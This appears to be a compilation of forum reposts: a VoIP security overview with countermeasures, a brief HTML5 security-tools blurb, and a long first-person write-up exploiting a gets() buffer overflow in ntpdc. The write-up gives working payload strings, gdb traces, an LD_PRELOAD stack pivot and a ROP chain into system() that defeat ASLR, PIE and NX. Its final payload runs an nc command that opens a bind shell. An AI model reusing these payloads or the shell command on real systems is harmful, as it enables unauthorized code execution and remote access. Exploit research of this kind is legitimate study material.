from one point to another in a given time period (usually a second). So it is obvious that the more bandwidth we have better the call quality. One of the great attractions of VoIP, data and voice sharing the same wires, is also a potential headache for implementers who must allocate the necessary bandwidth for both networks in a system normally designed for one. Congestion of the network causes packets to be queued, which in turn contributes to the latency of the VoIP system. Low bandwidth can also contribute to non-uniform delays (jitter), since packets will be delivered in spurts when a window of opportunity opens up in the traffic. Session Initiation Protocol (SIP): The Session Initiation Protocol (SIP) is a signaling protocol, widely used in VoIP systems it is extremely popular. The SIP protocol is simple and text based like the HTTP protocol. The protocol defines the messages that are sent between peers which govern establishment, termination and other essential elements of a call. SIP requires a SIP server and a SIP client to work properly. Real time transport protocol (RTP): The real time transport protocol (RTP) defines a standardized packet format for delivering audio and video over IP networks. RTP is used extensively in communication and entertainment systems that involve streaming media, such as telephony, video teleconference applications, television services and web-based push-to-talk features. RTP is UDP based and due to this is not highly reliable but due to the nature of VoIP traffic hundred percent reliability is not essential. RTP is designed for end-to-end, real-time, transfer of stream data. The protocol provides facilities for jitter compensation and detection of out of sequence arrival in data, which are common during transmissions on an IP network. RTP allows data transfer to multiple destinations through IP multicast. VoIP security issues Call interception: One of the most commonly encountered problems with VoIP setups is data that passes through VoIP gateways are not encrypted by default. If a malicious attacker is able to find the source of the stream he is easily able to hijack the signal and listen in on all our conversations. The attacker only requires physical access to a LAN segment that the VoIP packets travel across. Most enterprises use Ethernet switches instead of hubs and this limits the number of locations that such an exploit is possible. Call interception is more of a risk if companies make use of unsecured wireless networks, this can be used to easily enter a corporate network and listen in on calls. Denial of service attacks: A DoS attack causes the disruption of services by flooding the network with large amounts of data. This data can be of my forms but they all force the network from functioning properly. DoS attacks can be far more devastating if it is carried out by several thousands of computers, such an attack is called a DDoS. DDoS attacks may target different parts of the network however, if your VoIP infrastructure is directly connected to the main network it may be affected by the main DDoS attack. Denial of service attacks can cause several problems for VoIP sessions. Some DDoS attacks may not bring down the network itself but may cause severe traffic disruption due to increased latency and jitter in the network. Gulp tool can be used to create SIP flood that too more than 200mpbs from thousands of random sources consistently changing the SIP headers to avoid detection. The tool can also be used to send malformed or spoofed request to cause damages to SIP devices. Exfiltration of data: Another major problem for enterprises is the exfiltration of confidential data from their networks. Attackers can make use RTP sessions to exfiltrate information from a corporate environment, since firewalls do not block VoIP traffic it becomes nearly impossible to stop such attacks. VoIP packets unlike data packets in other formats are much more difficult to scan for hidden content or data without introducing delay into the entire data stream. Exfiltration attacks are usually carried out by VoIP Trojans that send data out of the host system as an RTP stream. Vishing: Voice phishing is practice of using social engineering over the telephone system to gain access to private personal and financial information from the public for the purpose of financial reward or confidential information. The term is a combination of “voice” and phishing. Voice phishing tricks the victim into trusting the caller. They may then inadvertently release sensitive information to the caller. Vishing is very similar to its counterpart in email. Due to its nature Vishing attacks are very difficult to mitigate, user awareness against such attacks are the best solution. Vishing is typically used to steal information such as credit card numbers or user information used in identity theft schemes. Some fraudsters utilize features facilitated by Voice over IP (VoIP), such as caller ID spoofing (to display a number of their choosing on the recipients phone line), and automated systems (IVR). Spamming over Internet Telephony (SPIT): VoIP spam or SPIT (Spam over Internet Telephony) is the mass sending of automatically dialled pre-recorded phone calls using VoIP. These messages are sent to several victims hundreds of times. SPIT messages are similar to their telephone counterparts however they are much more difficult to monitor and mitigate. As Voice over IP systems make use of computer systems it easy extremely easy to send massive amounts of Voice spam to thousands of different VoIP users. VoIP technology also has many free and open source tools that are easily available (e.g. Asterisk and SIP). Such tools greatly simplify the job of the VoIP spammer. The main technology that is exploited to carry out SPIT attacks is the Session Initiation Protocol (SIP). SPIT attacks can be mitigated using a variety of techniques including: - Blacklisting and whitelisting possible spammers - Audio Captcha’s - Reputation systems - Consent based communication Caller ID spoofing: Caller ID is used to identify the caller’s information. Some device has an inbuilt device while others need to attach an external device to identify the caller’s information. Having a caller ID doesn’t makes you to see the callers information, we need to call the service providers and request for caller ID service, sometimes these are optional services which comes for a price from the provider. Caller ID will contain the time of call, duration of call and caller’s information. There are different websites that are available which can be used to spoof calls. Some of these websites are limited to specific countries. By spoofing, the call will appear to us a legitimate call from the bank asking for confidential information which can further lead to data breaches. Registration hijacking: When a user agent (IP phone) is plugged in to a VoIP network, it will try connecting to SIP server for registration and the phone is available for use after registration is done. Attackers impersonate the user agent and try to connect to the SIP server to become a part of the network. When registration is hijacked the calls intended for a particular user will be diverted to a rogue person and the entire VoIP network becomes messy. The fact that registration is hijacked is because the registration method used in VoIP is UDP rather than TCP and the authentication mechanism from user agent to server is very weak. Scanners (SiVus) are available to check the weakness of VoIP security and registration hijacking is one such exploit that can be carried out. Viruses and malware: Nothing to say more on viruses and malware. Such actors can bring down the entire VoIP network down or abuse the VoIP usage. Malwares imposing as genuine software which leaks VoIP credentials or open a remote backdoor on the target are commonplace. Software phones are more vulnerable to such attacks. Countermeasures The various security issues mentioned above are major detriments to VoIP infrastructure and can cause large scale loss of money and intellectual property. Countermeasures for these security issues are given below in greater detail: Encryption: Encryption has yet to be completely integrated into VoIP protocols – only end-to-end encryption techniques exist for current VoIP. The problem with encryption is that it may increase latency, jitter, bit error rate, error propagation and affect bandwidth. As is often the case with encryption, the implementation details are crucial to success. One should also be aware of the various levels at which encryption can be applied. Application layer encryption can provide end-to-end coverage but increase covert channel problems at firewalls and guards because of the traffics being encrypted. Virtual Private Networks (VPNs) and link encryptions can be used at the network layer but may require decryption and re-encryption at various points, leaving the message exposed briefly at some nodes. However encryption will also introduce delay, either during call setup or as latency during the session. If the encryption is not sufficiently fast, some form of voice compression may be required for effective use. IP phone to the server channel can be encrypted by using TLS. Signaling messages and voice streams are encrypted via TLS to establish secure and reliable data transfer between two systems. Firewalls: The use of VoIP requires the adaptation of the firewalls in the network to allow access to ports used by VoIP and to allow out the various protocols VoIP use. Because an adversary could use these paths as well, configurations must be chosen carefully. Note that in this instance the concern is not so much about the impact on VoIP, as about the effect of the introduction of VoIP equipment and traffic on the security of the pre-existing data network. In a similar vein, it is unclear how VoIP can be incorporated across a network boundary protected by a guard. The inclusion of firewalls into front of VoIP traffic can also lead to performance issues for the system such as increased latency and Jitter. Firewalls can also be used to mitigate DDoS attacks against VoIP networks. Traffic analysis: Deep packet inspection tools are essential to protect organizations from VoIP threats. VoIP packets are notoriously difficult inspect stripping useful data from the traffic requires high quality packet inspection tools. Such tools can attempt to look for hidden data within VoIP traffic, security devices such as NGFW’s and UTM’s offer deep packet inspection capabilities. These devices can analyze network traffic and attempt to detect the data leaving the network and stop it before it does. Improved network security: Improved network security is important for VoIP security particularly to prevent call interception. Wireless networks in the enterprise should be properly secured to prevent tampering and wardriving attacks as they allow easy access to the VoIP network. Authentication mechanisms: IP phones should carry certificates to verify its identity on the VoIP network. Ideally the certificates in IP phones are signed by certificate authority and are verified by the certificates store that is present in the server. Apply appropriate patches: Apply appropriate patches to VoIP applications. All patches have to be applied via the ITIL framework to ensure the patches are deployed smoothly. A threat intelligence service can be subscribed to get the latest patch and its workaround in a timely manner. Turn off unnecessary protocols: Depending upon the vendor you use for VoIP systems it should be hardened by disabling unused services in the system. This will stop intruders to exploit security vulnerabilities to a limit. Best practices and recommendations are available in all vendor sites or can be received by subscribing to a threat intelligence feed. Physical security and awareness: VoIP gateways should be properly secured in data centres and controls should be in place to prevent unauthorised physical access to such machines. The best prevention against Vishing attacks is user awareness proper training should be given to employees to ensure that they do not inadvertently release sensitive information to malicious third parties. Conclusion The number of VoIP implementations in organisations is changing dramatically and many exploit tools are introduced in the market to bring down the VoIP systems. It is necessary for us to safeguard our VoIP systems by properly designing, deploying and analysing VoIP traffic on a daily basis. Organisations should be prepared to handle such types of attacks and closely consider new solutions to improve the current practice. Sursa: Hardening VoIP systems: Challenges and solutions - Telecom Tech News

AppSec Labs is a frontline company with regard to new technologies. Whether performing research of HTML5 technology, developing an HTML5 attack framework, or publishing tools for finding, testing and exploiting vulnerabilities that can be found in HTML5-based websites and in regular websites that have not been protected against HTML5 functionalities, AppSec Labs makes sure that it is on top of the game. Tools: https://appsec-labs.com/html5/#toggle-id-2

Alejandro Hdez (@nitr0usmx) recently tweeted about a trivial buffer overflow in ntpdc, a deprecated NTP query tool still available and packaged with any NTP install. He posted a screenshot of the crash as the result of a large buffer passed into a vulnerable gets call. After digging into it a bit, I decided it’d be a fun exploit to write, and it was. There are a few quarks to it that make it of particular interest, of which I’ve detailed below. As noted, the bug is the result of a vulnerable gets, which can be crashed with the following: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]$ python -c 'print "A"*600' | ntpdc ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' unknown Segmentation fault[/TD] [/TR] [/TABLE] Loading into gdb on an x86 Debian 7 system: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12[/TD] [TD=class: code]gdb-peda$ i r eax edx esi eax 0x41414141 0x41414141 edx 0x41414141 0x41414141 esi 0x41414141 0x41414141 gdb-peda$ x/i $eip => 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : Partial[/TD] [/TR] [/TABLE] Notice the checksec results of the binary, now compare this to a snippet of the paxtest output: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10[/TD] [TD=class: code]Mode: Blackhat Linux deb7-32 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux Executable anonymous mapping : Vulnerable Executable bss : Vulnerable Executable data : Vulnerable Executable heap : Vulnerable Executable stack : Vulnerable Executable shared library bss : Vulnerable Executable shared library data : Vulnerable[/TD] [/TR] [/TABLE] And the result of Debian’s recommended hardening-check: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]$ hardening-check /usr/bin/ntpdc /usr/bin/ntpdc: Position Independent Executable: no, normal executable! Stack protected: yes Fortify Source functions: yes (some protected functions found) Read-only relocations: yes Immediate binding: no, not found![/TD] [/TR] [/TABLE] Interestingly enough, I discovered this oddity after I had gained code execution in a place I shouldn’t have. We’re also running with ASLR enabled: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]$ cat /proc/sys/kernel/randomize_va_space 2 [/TD] [/TR] [/TABLE] I’ll explain why the above is interesting in a moment. So in our current state, we control three registers and an instruction dereferencing ESI+0x14. If we take a look just a few instructions ahead, we see the following: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]gdb-peda$ x/8i $eip => 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] ; deref ESI+0x14 and move into EAX 0xb7fa1d79 <el_gets+25>: test al,0x2 ; test lower byte against 0x2 0xb7fa1d7b <el_gets+27>: je 0xb7fa1df8 <el_gets+152> ; jump if ZF == 1 0xb7fa1d7d <el_gets+29>: mov ebp,DWORD PTR [esi+0x2c] ; doesnt matter 0xb7fa1d80 <el_gets+32>: mov DWORD PTR [esp+0x4],ebp ; doesnt matter 0xb7fa1d84 <el_gets+36>: mov DWORD PTR [esp],esi ; doesnt matter 0xb7fa1d87 <el_gets+39>: call DWORD PTR [esi+0x318] ; call a controllable pointer[/TD] [/TR] [/TABLE] I’ve detailed the instructions above, but essentially we’ve got a free CALL. In order to reach this, we need an ESI value that at +0x14 will set ZF == 0 (to bypass the test/je) and at +0x318 will point into controlled data. Naturally, we should figure out where our payload junk is and go from there. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]gdb-peda$ searchmem 0x41414141 Searching for '0x41414141' in: None ranges Found 751 results, display max 256 items: ntpdc : 0x806ab00 ('A' <repeats 200 times>...) gdb-peda$ maintenance i sections [snip] 0x806a400->0x806edc8 at 0x00021400: .bss ALLOC gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08068000 r-xp /usr/bin/ntpdc 0x08068000 0x08069000 r--p /usr/bin/ntpdc 0x08069000 0x0806b000 rw-p /usr/bin/ntpdc [snip][/TD] [/TR] [/TABLE] Our payload is copied into BSS, which is beneficial as this will remain unaffected by ASLR, further bonus points because our binary wasn’t compiled with PIE. We now need to move back -0x318 and look for a value that will set ZF == 0 with the test al,0x2 instruction. A value at 0x806a9e1 satisfies both the +0x14 and +0x318 requirements: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]gdb-peda$ x/wx 0x806a9cd+0x14 0x806a9e1: 0x6c61636f gdb-peda$ x/wx 0x806a9cd+0x318 0x806ace5: 0x41414141[/TD] [/TR] [/TABLE] After figuring out the offset in the payload for ESI, we just need to plug 0x806a9cd in and hopefully we’ll have EIP: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31[/TD] [TD=class: code]$ python -c 'print "A"*485 + "C"*4 + "A"*79 + "\xcd\xa9\x06\x08" + "C"*600' > crash.info $ gdb -q /usr/bin/ntpdc $ r < crash.info Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0x43434343 ('CCCC') ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) EIP: 0x43434343 ('CCCC') EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x43434343 [------------------------------------stack-------------------------------------] 0000| 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) 0004| 0xbffff3d0 --> 0x806a9cd --> 0x0 0008| 0xbffff3d4 --> 0x0 0012| 0xbffff3d8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx) 0016| 0xbffff3dc --> 0x0 0020| 0xbffff3e0 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff3e4 --> 0x807b6f8 ('A' <repeats 200 times>...) 0028| 0xbffff3e8 --> 0x807d3b0 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x43434343 in ?? ()[/TD] [/TR] [/TABLE] Now that we’ve got EIP, it’s a simple matter of stack pivoting to execute a ROP payload. Let’s figure out where that "C"*600 lands in memory and redirect EIP there: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]gdb-peda$ searchmem 0x43434343 Searching for '0x43434343' in: None ranges Found 755 results, display max 256 items: ntpdc : 0x806ace5 ("CCCC", 'A' <repeats 79 times>, "?\006\b", 'C' <repeats 113 times>...) ntpdc : 0x806ad3c ('C' <repeats 200 times>...) [snip][/TD] [/TR] [/TABLE] And we’ll fill it with \xcc to ensure we’re there (theoretically triggering NX): [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40[/TD] [TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\xcc"*600' > crash.info $ gdb -q /usr/bin/ntpdc Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done. gdb-peda$ r < crash.info [snip] Program received signal SIGTRAP, Trace/breakpoint trap. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0xcccccccc ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) EIP: 0x806ad3d --> 0xcccccccc EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x806ad38: int 0xa9 0x806ad3a: push es 0x806ad3b: or ah,cl => 0x806ad3d: int3 0x806ad3e: int3 0x806ad3f: int3 0x806ad40: int3 0x806ad41: int3 [------------------------------------stack-------------------------------------] 0000| 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) 0004| 0xbffff3f0 --> 0x806a9cd --> 0x0 0008| 0xbffff3f4 --> 0x0 0012| 0xbffff3f8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx) 0016| 0xbffff3fc --> 0x0 0020| 0xbffff400 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff404 --> 0x807b9d0 ('A' <repeats 200 times>...) 0028| 0xbffff408 --> 0x807d688 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGTRAP 0x0806ad3d in ?? () gdb-peda$[/TD] [/TR] [/TABLE] Er, what? It appears to be executing code in BSS! Recall the output of paxtest/checksec/hardening-check from earlier, NX was clearly enabled. This took me a few hours to figure out, but it ultimately came down to Debian not distributing x86 images with PAE, or Physical Address Extension. PAE is a kernel feature that allows 32-bit CPU’s to access physical page tables and doubling each entry in the page table and page directory. This third level of paging and increased entry size is required for NX on x86 architectures because NX adds a single ‘dont execute’ bit to the page table. You can read more about PAE here, and the original NX patch here. This flag can be tested for with a simple grep of /proc/cpuinfo; on a fresh install of Debian 7, a grep for PAE will turn up empty, but on something with support, such as Ubuntu, you’ll get the flag back. Because I had come this far already, I figured I might as well get the exploit working. At this point it was simple, anyway: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\x90"*4 + "\x68\xec\xf7\xff\xbf\x68\x70\xe2\xc8\xb7\x68\x30\xac\xc9\xb7\xc3"' > input2.file $ gdb -q /usr/bin/ntpdc Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done. gdb-peda$ r < input.file [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?????h????hp??h0???' unknown [New process 4396] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". process 4396 is executing new program: /bin/dash [New process 4397] process 4397 is executing new program: /bin/nc.traditional[/TD] [/TR] [/TABLE] This uses a simple system payload with hard-coded addresses, because at this point it’s an old-school, CTF-style exploit. And it works. With this trivial PoC working, I decided to check another box I had to verify this is a common distribution method. An Ubuntu VM said otherwise: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]$ uname -a Linux bryan-VirtualBox 3.2.0-74-generic #109-Ubuntu SMP Tue Dec 9 16:47:54 UTC 2014 i686 i686 i386 GNU/Linux $ ./checksec.sh --file /usr/bin/ntpdc RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH /usr/bin/ntpdc $ cat /proc/sys/kernel/randomize_va_space 2[/TD] [/TR] [/TABLE] Quite a different story. We need to bypass full RELRO (no GOT overwrites), PIE+ASLR, NX, SSP, and ASCII armor. In our current state, things are looking pretty grim. As an aside, it’s important to remember that because this is a local exploit, the attacker is assumed to have limited control over the system. Ergo, an attacker may inspect and modify the system in the same manner a limited user could. This becomes important with a few techniques we’re going to use moving forward. Our first priority is stack pivoting; we won’t be able to ROP to victory without control over the stack. There are a few options for this, but the easiest option is likely going to be an ADD ESP, ? gadget. The problem with this being that we need to have some sort of control over the stack or be able to modify ESP somewhere into BSS that we control. Looking at the output of ropgadget, we’ve got 36 options, almost all of which are of the form ADD ESP, ?. After looking through the list, I determined that none of the values led to control over the stack; in fact, nothing I injected landed on the stack. I did note, however, the following: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12[/TD] [TD=class: code]gdb-peda$ x/6i 0x800143e0 0x800143e0: add esp,0x256c 0x800143e6: pop ebx 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp 0x800143ea: ret gdb-peda$ x/30s $esp+0x256c 0xbffff3a4: "-1420310755.557158-104120677" 0xbffff3c1: "WINDOWID=69206020" 0xbffff3d3: "GNOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM" 0xbffff3fd: "GTK_MODULES=canberra-gtk-module:canberra-gtk-module"[/TD] [/TR] [/TABLE] These are environmental variables passed into the application and located on the program stack. Using the ROP gadget ADD ESP, 0x256c, followed by a series of register POPs, we could land here. Controlling this is easy with the help of LD_PRELOAD, a neat trick documented by Dan Rosenberg in 2010. By exporting LD_PRELOAD, we can control uninitialized data located on the stack, as follows: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*10000'` $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file [..snip..] gdb-peda$ x/10wx $esp+0x256c 0xbfffedc8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffedd8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffede8: 0x41414141 0x41414141 gdb-peda$[/TD] [/TR] [/TABLE] Using some pattern_create/offset magic, we can find the offset in our LD_PRELOAD string and take control over EIP and the stack: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31[/TD] [TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8490 + "AAAA" + "BBBB"'` $ python -c "print 'A'*485 + '\xe0\x43\x01\x80' + 'A'*79 + '\x8d\x67\x02\x80' + 'B'*600" > input.file $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x13560 EDX: 0x42424242 ('BBBB') ESI: 0x41414141 ('AAAA') EDI: 0x41414141 ('AAAA') EBP: 0x41414141 ('AAAA') ESP: 0xbffff3bc ("BBBB") EIP: 0x41414141 ('AAAA') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000| 0xbffff3bc ("BBBB") 0004| 0xbffff3c0 --> 0x4e495700 ('') 0008| 0xbffff3c4 ("DOWID=69206020") 0012| 0xbffff3c8 ("D=69206020") 0016| 0xbffff3cc ("206020") 0020| 0xbffff3d0 --> 0x47003032 ('20') 0024| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM") 0028| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in ?? ()[/TD] [/TR] [/TABLE] This gives us EIP, control over the stack, and control over a decent number of registers; however, the LD_PRELOAD trick is extremely sensitive to stack shifting which represents a pretty big problem for exploit portability. For now, I’m going to forget about it; chances are we could brute force the offset, if necessary, or simply invoke the application with env -i. From here, we need to figure out a ROP payload. The easiest payload I can think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of them: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]gdb-peda$ vmmap 0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so 0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so 0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.so gdb-peda$ p system $1 = {<text variable, no debug info>} 0x366060 <system> gdb-peda$[/TD] [/TR] [/TABLE] One idea I had was to simply construct the address in memory, then call it. Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers we controlled. Eventually, I discovered this gem: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]0x800138f2: add edi, esi; ret 0; 0x80022073: call edi[/TD] [/TR] [/TABLE] Using the above, we could pop controlled, non-null values into EDI/ESI, that when added equaled 0x366060 <system>. Many values will work, but I chose 0xeeffffff + 0x11366061: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31[/TD] [TD=class: code]EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x12f00 EDX: 0x42424242 ('BBBB') ESI: 0xeeffffff EDI: 0x11366061 EBP: 0x41414141 ('AAAA') ESP: 0xbfffefb8 --> 0x800138f2 (add edi,esi) EIP: 0x800143ea (ret) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp => 0x800143ea: ret 0x800143eb: nop 0x800143ec: lea esi,[esi+eiz*1+0x0] 0x800143f0: mov DWORD PTR [esp],ebp 0x800143f3: call 0x80018d20 [------------------------------------stack-------------------------------------] 0000| 0xbfffefb8 --> 0x800138f2 (add edi,esi) 0004| 0xbfffefbc --> 0x80022073 --> 0xd7ff 0008| 0xbfffefc0 ('C' <repeats 200 times>...) 0012| 0xbfffefc4 ('C' <repeats 200 times>...) 0016| 0xbfffefc8 ('C' <repeats 200 times>...) 0020| 0xbfffefcc ('C' <repeats 200 times>...) 0024| 0xbfffefd0 ('C' <repeats 200 times>...) 0028| 0xbfffefd4 ('C' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x800143ea in ?? ()[/TD] [/TR] [/TABLE] As shown above, we’ve got our two values in EDI/ESI and are returning to our ADD EDI, ESI gadget. Once this completes, we return to our CALL EDI gadget, which will jump into system: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]EDI: 0x366060 (<system>: sub esp,0x1c) EBP: 0x41414141 ('AAAA') ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh") EIP: 0x80022073 --> 0xd7ff EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x80022073: call edi[/TD] [/TR] [/TABLE] Recall the format of a ret2libc: [system() address | exit() | shell command]; therefore, we need to stick a bogus exit address (in my case, junk) as well as the address of a command. Also remember, however, that CALL EDI is essentially a macro for PUSH EIP+2 ; JMP EDI. This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no JMP EDI gadgets in the binary, so we’re stuck with a messy exit. This culminates in: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10[/TD] [TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"*1492'` $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file [snip all the LD_PRELOAD crap] [New process 31184] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". process 31184 is executing new program: /bin/dash [New process 31185] process 31185 is executing new program: /bin/nc.traditional[/TD] [/TR] [/TABLE] Success! Though this is a very dirty hack, and makes no claim of portability, it works. As noted previously, we can brute force the image base and stack offsets, though we can also execute the binary with an empty environment and no stack tampering 